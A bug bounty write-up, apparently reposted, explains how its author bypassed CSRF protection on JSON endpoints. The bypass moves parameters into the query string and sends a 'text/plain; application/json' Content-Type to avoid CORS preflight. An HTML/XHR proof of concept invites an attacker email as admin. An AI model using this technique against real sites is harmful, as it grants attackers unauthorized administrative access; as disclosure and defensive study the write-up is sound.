Busting CSRF: The Hidden Dangers of JSON Exploited

6 months ago 23
BOOK THIS SPACE FOR AD
ARTICLE AD

This write-up is about an interesting technique not known to many people, which I used to bypass CSRF protection on every single endpoint of a website that belonged to a private bug bounty program.

Let’s jump right in…

I was exploring the website when I stumbled upon an endpoint for inviting admins. It looked like this:

POST /api/rounds/test_round/admin/invite
Host: example.com
Cookies: ……
Content-type: application/json
{
"email": "admin@gmail.com"
}

At first glance, it seemed safe from CSRF attacks. You can’t send a JSON request using an HTML form, so it would need to be an XMLHttpRequest (XHR). And cross-origin XHRs with non-simple requests (like those using Content-Type: application/json) typically trigger a preflight check due to the browser’s CORS (Cross-Origin Resource Sharing) policy. This usually blocks malicious requests.

But wait, what if… Let’s talk about CORS and preflight requests:

The browser uses preflight requests to make sure a cross-origin request is safe before sending it. It’s like a quick check with the server. Here’s the rundown:

Simple vs. Non-Simple: Simple requests are basically basic GET, HEAD, or POST requests with standard headers. Non-simple requests have custom headers or different content types.The Preflight Flow:The browser sends an OPTIONS request to the server before the actual request.The server responds with CORS headers saying yes or no to the request.If it’s a yes, the browser sends the actual request. If it’s a no, the request gets blocked.

So, how does this protect against CSRF? Well, for a cross-origin XHR with Content-Type: application/json, the server needs to explicitly allow the request:

Origin: The website the request is coming from.Methods & Headers: The specific methods and headers used in the request.

If the server’s CORS configuration is correct, it won’t allow the malicious origin, and the preflight request will fail, blocking the attack.

But there’s a twist… In this case, the CORS policy was set up correctly, so, sadly, I had to come up with something different…

I thought, “Is the JSON content type really necessary?” What if I removed the request body and added the email as a query parameter instead? Like this:

POST /api/rounds/test_round/admin/invite?email=admin@gmail.com
Host: example.com
Cookies: ……
Content-type: application/json
{}

And it worked! I got a 200 OK response, and the admin invite was sent. However, I still had that Content-Type: application/json header, which would normally trigger a preflight check. I tried removing it or changing it, but I got an error:

HTTP/2 500 Internal Server Error



POST, PUT, and PATCH require Content-Type to be application/json.

I almost gave up, but then I decided to think about how the server was validating the content type. What if it just checks that “application/json” is somewhere in the header? So I tried something like this:

Content-Type: blabla application/json

And guess what? It worked! I had a new avenue to explore…

Now, I just needed to trick the browser into thinking the request was using a simple content type that wouldn’t require a preflight check. After some research and asking around, I came up with this:

Content-Type: text/plain; application/json

The browser typically treats the first part of the Content-Type header (up to the semicolon) as the MIME type. This meant the browser would likely see text/plain and ignore the rest, sending the request directly without a preflight check.

Time for a Proof of Concept:

Here’s the HTML code I created:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF PoC</title>
</head>
<body>
<script>
var email = "attacker@test.com";
var contentType = "text/plain; application/json";var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example.com/api/rounds/test_round/admin/invite?email=" + email, true);
xhr.setRequestHeader("Content-Type", contentType);
xhr.withCredentials = true; // Include cookies
var payload = JSON.stringify({});
xhr.onload = function () {
if (xhr.status >= 200 && xhr.status < 300) {
console.log('CSRF request sent successfully');
} else {
console.error('Failed to send CSRF request');
}
};
xhr.send(payload);
</script>
</body>
</html>

I tested this on many different endpoints that performed sensitive actions, and every single one was vulnerable to this CSRF attack!

The Bottom Line:

Don’t just assume that security mechanisms are bulletproof. Always explore different angles, especially when it comes to security research and bug bounty hunting. A little creativity and a good dose of curiosity can go a long way!

Read Entire Article